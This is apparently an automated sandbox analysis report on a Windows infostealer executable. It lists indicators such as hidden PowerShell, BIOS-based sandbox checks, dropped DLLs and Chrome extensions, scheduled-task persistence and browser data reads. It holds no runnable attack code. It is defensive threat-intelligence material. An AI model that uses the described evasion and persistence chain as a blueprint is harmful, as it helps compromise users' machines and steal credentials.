195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285

Analysis

max time kernel
158s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
01-07-2024 05:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285.exe
Size

7.3MB
MD5

8c0a58affee51191582ea4dc50399ff3
SHA1

ce4adefe7b40cd0413d58812b84e6c0d9f8d8b3c
SHA256

195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285
SHA512

79c10575e2bee4430b9d813efe85b98a4bb9088480f68d7b9e478e18920c5ba0aaa5683bffe0e805deed02133b66ee7e64cb075761a1a6a416476ee751d7fc10
SSDEEP

196608:91OzsCjnE+qDP/qvmn+STt1tfuhZmWjT8lQVCT:3Oy+I+eD2xT8lN

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

33 5052 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.EXEpowershell.exe

pid process

4432 powershell.exe
4560 powershell.EXE
4336 powershell.exe

flow	pid	process
33	5052	rundll32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wuOgYFZ.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Control Panel\International\Geo\Nation wuOgYFZ.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeInstall.exewuOgYFZ.exe

pid process

364 Install.exe
4824 Install.exe
2336 Install.exe
2272 wuOgYFZ.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

5052 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Control Panel\International\Geo\Nation	wuOgYFZ.exe

pid	process
364	Install.exe
4824	Install.exe
2336	Install.exe
2272	wuOgYFZ.exe

pid	process
5052	rundll32.exe

Drops Chrome extension 2 IoCs

Processes:

wuOgYFZ.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	wuOgYFZ.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	wuOgYFZ.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Install.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Drops file in System32 directory 33 IoCs

Processes:

powershell.exewuOgYFZ.exeInstall.exerundll32.exepowershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	wuOgYFZ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	wuOgYFZ.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	rundll32.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	wuOgYFZ.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	wuOgYFZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	wuOgYFZ.exe

Drops file in Program Files directory 14 IoCs

Processes:

wuOgYFZ.exe

description	ioc	process
File created	C:\Program Files (x86)\dqJSprjCYNjU2\VsaoVdq.xml	wuOgYFZ.exe
File created	C:\Program Files (x86)\LXFcSqNRPdfiC\PqYNJsm.dll	wuOgYFZ.exe
File created	C:\Program Files (x86)\DLOGhsaIU\SAPYDs.dll	wuOgYFZ.exe
File created	C:\Program Files (x86)\dqJSprjCYNjU2\ESMAtPSYuDEss.dll	wuOgYFZ.exe
File created	C:\Program Files (x86)\LXFcSqNRPdfiC\lJEfOuv.xml	wuOgYFZ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	wuOgYFZ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	wuOgYFZ.exe
File created	C:\Program Files (x86)\DLOGhsaIU\ibzOnlo.xml	wuOgYFZ.exe
File created	C:\Program Files (x86)\JoukbHKXhnJgygRymeR\RpcFUQA.xml	wuOgYFZ.exe
File created	C:\Program Files (x86)\bmRmotOcEZUn\lbZVgGQ.dll	wuOgYFZ.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	wuOgYFZ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	wuOgYFZ.exe
File created	C:\Program Files (x86)\JoukbHKXhnJgygRymeR\jFQjIvP.dll	wuOgYFZ.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	wuOgYFZ.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\QGKRfysOUInPGCvKQ.job	schtasks.exe
File created	C:\Windows\Tasks\WIDyJrOtfliIWWA.job	schtasks.exe
File created	C:\Windows\Tasks\xOqIMlfoTdTUPfGRn.job	schtasks.exe
File created	C:\Windows\Tasks\bkulktKnsMWheyTcHH.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

1796 2336 WerFault.exe Install.exe
4052 4824 WerFault.exe Install.exe
4408 2272 WerFault.exe wuOgYFZ.exe

pid	pid_target	process	target process
1796	2336	WerFault.exe	Install.exe
4052	4824	WerFault.exe	Install.exe
4408	2272	WerFault.exe	wuOgYFZ.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exewuOgYFZ.exepowershell.exepowershell.exerundll32.exeInstall.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	wuOgYFZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	wuOgYFZ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	wuOgYFZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc2686-0000-0000-0000-d01200000000}	Install.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc2686-0000-0000-0000-d01200000000}\MaxCapacity = "14116"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wuOgYFZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	wuOgYFZ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

5064 schtasks.exe
3164 schtasks.exe
4560 schtasks.exe
1528 schtasks.exe
4212 schtasks.exe
4700 schtasks.exe
1588 schtasks.exe
2996 schtasks.exe
624 schtasks.exe
4224 schtasks.exe

pid	process
5064	schtasks.exe
3164	schtasks.exe
4560	schtasks.exe
1528	schtasks.exe
4212	schtasks.exe
4700	schtasks.exe
1588	schtasks.exe
2996	schtasks.exe
624	schtasks.exe
4224	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEwuOgYFZ.exepowershell.exe

pid	process
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
1336	powershell.exe
1336	powershell.exe
1336	powershell.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
4560	powershell.EXE
4560	powershell.EXE
4560	powershell.EXE
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
4336	powershell.exe
4336	powershell.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
4336	powershell.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe
2272	wuOgYFZ.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeWMIC.exepowershell.exepowershell.exepowershell.EXEpowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeIncreaseQuotaPrivilege	3164	WMIC.exe
Token: SeSecurityPrivilege	3164	WMIC.exe
Token: SeTakeOwnershipPrivilege	3164	WMIC.exe
Token: SeLoadDriverPrivilege	3164	WMIC.exe
Token: SeSystemProfilePrivilege	3164	WMIC.exe
Token: SeSystemtimePrivilege	3164	WMIC.exe
Token: SeProfSingleProcessPrivilege	3164	WMIC.exe
Token: SeIncBasePriorityPrivilege	3164	WMIC.exe
Token: SeCreatePagefilePrivilege	3164	WMIC.exe
Token: SeBackupPrivilege	3164	WMIC.exe
Token: SeRestorePrivilege	3164	WMIC.exe
Token: SeShutdownPrivilege	3164	WMIC.exe
Token: SeDebugPrivilege	3164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3164	WMIC.exe
Token: SeRemoteShutdownPrivilege	3164	WMIC.exe
Token: SeUndockPrivilege	3164	WMIC.exe
Token: SeManageVolumePrivilege	3164	WMIC.exe
Token: 33	3164	WMIC.exe
Token: 34	3164	WMIC.exe
Token: 35	3164	WMIC.exe
Token: 36	3164	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3164	WMIC.exe
Token: SeSecurityPrivilege	3164	WMIC.exe
Token: SeTakeOwnershipPrivilege	3164	WMIC.exe
Token: SeLoadDriverPrivilege	3164	WMIC.exe
Token: SeSystemProfilePrivilege	3164	WMIC.exe
Token: SeSystemtimePrivilege	3164	WMIC.exe
Token: SeProfSingleProcessPrivilege	3164	WMIC.exe
Token: SeIncBasePriorityPrivilege	3164	WMIC.exe
Token: SeCreatePagefilePrivilege	3164	WMIC.exe
Token: SeBackupPrivilege	3164	WMIC.exe
Token: SeRestorePrivilege	3164	WMIC.exe
Token: SeShutdownPrivilege	3164	WMIC.exe
Token: SeDebugPrivilege	3164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3164	WMIC.exe
Token: SeRemoteShutdownPrivilege	3164	WMIC.exe
Token: SeUndockPrivilege	3164	WMIC.exe
Token: SeManageVolumePrivilege	3164	WMIC.exe
Token: 33	3164	WMIC.exe
Token: 34	3164	WMIC.exe
Token: 35	3164	WMIC.exe
Token: 36	3164	WMIC.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	4560	powershell.EXE
Token: SeDebugPrivilege	4336	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	4432	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4432	WMIC.exe
Token: SeSecurityPrivilege	4432	WMIC.exe
Token: SeTakeOwnershipPrivilege	4432	WMIC.exe
Token: SeLoadDriverPrivilege	4432	WMIC.exe
Token: SeSystemtimePrivilege	4432	WMIC.exe
Token: SeBackupPrivilege	4432	WMIC.exe
Token: SeRestorePrivilege	4432	WMIC.exe
Token: SeShutdownPrivilege	4432	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4432	WMIC.exe
Token: SeUndockPrivilege	4432	WMIC.exe
Token: SeManageVolumePrivilege	4432	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4432	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4432	WMIC.exe
Token: SeSecurityPrivilege	4432	WMIC.exe
Token: SeTakeOwnershipPrivilege	4432	WMIC.exe
Token: SeLoadDriverPrivilege	4432	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exeInstall.exepowershell.execmd.exe

description	pid	process	target process
PID 1424 wrote to memory of 364	1424	195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285.exe	Install.exe
PID 1424 wrote to memory of 364	1424	195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285.exe	Install.exe
PID 1424 wrote to memory of 364	1424	195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285.exe	Install.exe
PID 364 wrote to memory of 4824	364	Install.exe	Install.exe
PID 364 wrote to memory of 4824	364	Install.exe	Install.exe
PID 364 wrote to memory of 4824	364	Install.exe	Install.exe
PID 4824 wrote to memory of 1192	4824	Install.exe	forfiles.exe
PID 4824 wrote to memory of 1192	4824	Install.exe	forfiles.exe
PID 4824 wrote to memory of 1192	4824	Install.exe	forfiles.exe
PID 1192 wrote to memory of 2288	1192	forfiles.exe	cmd.exe
PID 1192 wrote to memory of 2288	1192	forfiles.exe	cmd.exe
PID 1192 wrote to memory of 2288	1192	forfiles.exe	cmd.exe
PID 2288 wrote to memory of 4432	2288	cmd.exe	powershell.exe
PID 2288 wrote to memory of 4432	2288	cmd.exe	powershell.exe
PID 2288 wrote to memory of 4432	2288	cmd.exe	powershell.exe
PID 4432 wrote to memory of 3164	4432	powershell.exe	WMIC.exe
PID 4432 wrote to memory of 3164	4432	powershell.exe	WMIC.exe
PID 4432 wrote to memory of 3164	4432	powershell.exe	WMIC.exe
PID 4824 wrote to memory of 4560	4824	Install.exe	schtasks.exe
PID 4824 wrote to memory of 4560	4824	Install.exe	schtasks.exe
PID 4824 wrote to memory of 4560	4824	Install.exe	schtasks.exe
PID 2336 wrote to memory of 1336	2336	Install.exe	powershell.exe
PID 2336 wrote to memory of 1336	2336	Install.exe	powershell.exe
PID 2336 wrote to memory of 1336	2336	Install.exe	powershell.exe
PID 1336 wrote to memory of 4908	1336	powershell.exe	cmd.exe
PID 1336 wrote to memory of 4908	1336	powershell.exe	cmd.exe
PID 1336 wrote to memory of 4908	1336	powershell.exe	cmd.exe
PID 4908 wrote to memory of 3600	4908	cmd.exe	reg.exe
PID 4908 wrote to memory of 3600	4908	cmd.exe	reg.exe
PID 4908 wrote to memory of 3600	4908	cmd.exe	reg.exe
PID 1336 wrote to memory of 1228	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 1228	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 1228	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4392	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4392	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4392	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2456	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2456	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2456	1336	powershell.exe	reg.exe
